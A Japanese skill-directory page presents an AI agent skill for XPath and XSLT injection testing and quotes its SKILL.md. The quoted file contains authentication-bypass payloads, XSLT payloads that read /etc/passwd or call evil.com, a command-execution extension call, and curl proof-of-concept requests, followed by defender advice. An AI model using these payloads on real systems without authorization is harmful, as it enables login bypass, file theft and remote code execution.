本文へスキップ
Skillpedia
セキュリティ6.5k · #14086

xpath-xslt

できること

このガイドは、XMLの問い合わせや変換のコードにあるインジェクションの欠陥を扱います。ログインを回避したり、ファイルを読み取ったりする恐れがあります。XMLのデータストアやレポート作成を扱う開発者とテスター向けです。

使う場面

  • ✓アプリが利用者の入力を使ってXMLの問い合わせを作っており、たとえばXMLファイルに対するログイン確認があるとき。
  • ✓XMLのレポート作成ツールが、利用者から変換ルールを受け付けているとき。
  • ✓許可されたテストで、XMLの処理が外部のデータを読んでいないかを確認したいとき。

スキルのリンク

https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/exploit/web/xpath-xslt/SKILL.md

コピーしてAI(Claude、ChatGPT、Cursor)に貼り付け、指示に従うよう頼んでください。

使い方

いちばん簡単な方法:メッセージをコピーしてAIに貼り付けるだけ。AIがスキルを読んで指示に従います。

貼り付け用メッセージ

このスキルを使って手伝ってください:https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/exploit/web/xpath-xslt/SKILL.md このリンクのSKILL.mdファイルを読んで、私の作業でその指示に従ってください。
こういうスキルを、AIが自分で見つけてくれたら?無料のSkillpedia MCPをインストール。1行で、作業の前に15,000+のスキルから探してくれます。1分でインストール →

AIへの頼み方の例

“私たちのレガシーなログインは、XMLファイルに対して利用者を照合しています。入力によって問い合わせが操作されないか確認してください。”

毎週5つの新しいスキル。1分で読めます。

仕組み

エージェントは、入力がXMLの問い合わせや変換に結合される箇所を探します。そして、安全なテスト環境で特殊文字が結果を変えるかどうかを確認します。

技術的な内容(元のSKILL.md)

作者による元のテキスト(英語)をGitHubからそのまま表示しています。

XPath + XSLT Injection

XPath Injection

XPath = XML query language. User input concatenated into a query string = injection. Same shape as SQL injection but on XML data.

Auth bypass

# Vulnerable
query = f"//user[username='{user}' and password='{pw}']"

# Payload
user = "' or '1'='1"  → //user[username='' or '1'='1' and password='']
user = "admin'] | //user[*='"  → returns all users

Blind extraction

# Boolean
//user[username='admin' and substring(password, 1, 1)='a']
# Time-based — XPath has no sleep, but some impls support extensions

XSLT Injection

Worse than XPath: XSLT is Turing-complete and many engines support file I/O and RCE.

document() function — file read

<xsl:value-of select="document('file:///etc/passwd')"/>
<xsl:value-of select="document('http://evil.com/x')"/>  ← SSRF

EXSLT — RCE on some engines

<!-- Saxon -->
<xsl:value-of select="saxon:evaluate('1+1')"/>

<!-- libxslt w/ Xalan-Java extension -->
<xsl:value-of select='rt:exec(rt:getRuntime(), "id")'/>

Reflected XSS via XSLT

<xsl:value-of select="//input" disable-output-escaping="yes"/>
<!-- attacker-controlled XML → unescaped output → XSS -->

Detection

  • Endpoint accepts XML w/ XSLT transform (XML report builders, SOAP responses w/ XSLT)
  • Apps using XPath: legacy intranets, file-based config querying, XML feeds

PoC

# XPath
curl -X POST "$TARGET/login" -d "user=' or '1'='1&pass=anything"

# XSLT file read
curl -X POST "$TARGET/transform" --data-binary @- <<'EOF'
<?xml version="1.0"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
  <xsl:template match="/">
    <xsl:value-of select="document('file:///etc/passwd')"/>
  </xsl:template>
</xsl:stylesheet>
EOF

Severity

  • XPath auth bypass: Critical 9.8
  • XSLT file read: Critical 9.0
  • XSLT RCE: Critical 10.0
  • Blind XPath extraction: High 7-8

Defender

  • Use parameterized XPath via libraries (lxml.etree.XPath(expr) w/ variable bindings)
  • Disable XSLT extensions by default
  • Use XSLT_SECPREFS_NO_NETWORK | XSLT_SECPREFS_NO_FILE (libxslt)
  • Sanitize / strict-validate XML input schema

Cross-references

  • Upstream: skills/_corpus/payloads/XPATH Injection/ + XSLT Injection/
  • XXE (different XML class): skills/exploit/web/xxe.md
よくある質問

XPathとは何ですか?

XMLの文書からデータを取り出すための問い合わせ言語です。

XSLTはXPathより危険なのはなぜですか?

XSLTはより強力で、一部のエンジンではファイルの読み取りなどの拡張機能に対応しているとガイドは説明しています。

主な対策は何ですか?

生の入力から問い合わせを組み立てず、安全なパラメーターの扱い方を使うことです。

詳細

作者による元の説明

XPath + XSLT injection — query manipulation in XML data stores, server-side XSLT RCE via document() / EXSLT extensions.

repo: BitterSecurity/Decepticon

人気

GitHubのスター
6.5k
ランキング
#14086
ライセンス
Apache-2.0
更新日
2026/11/1

このスキルは役に立ちますか?

0

ログイン して投票しましょう。

コメント

  • …

このリポジトリの他のスキル

似ているスキル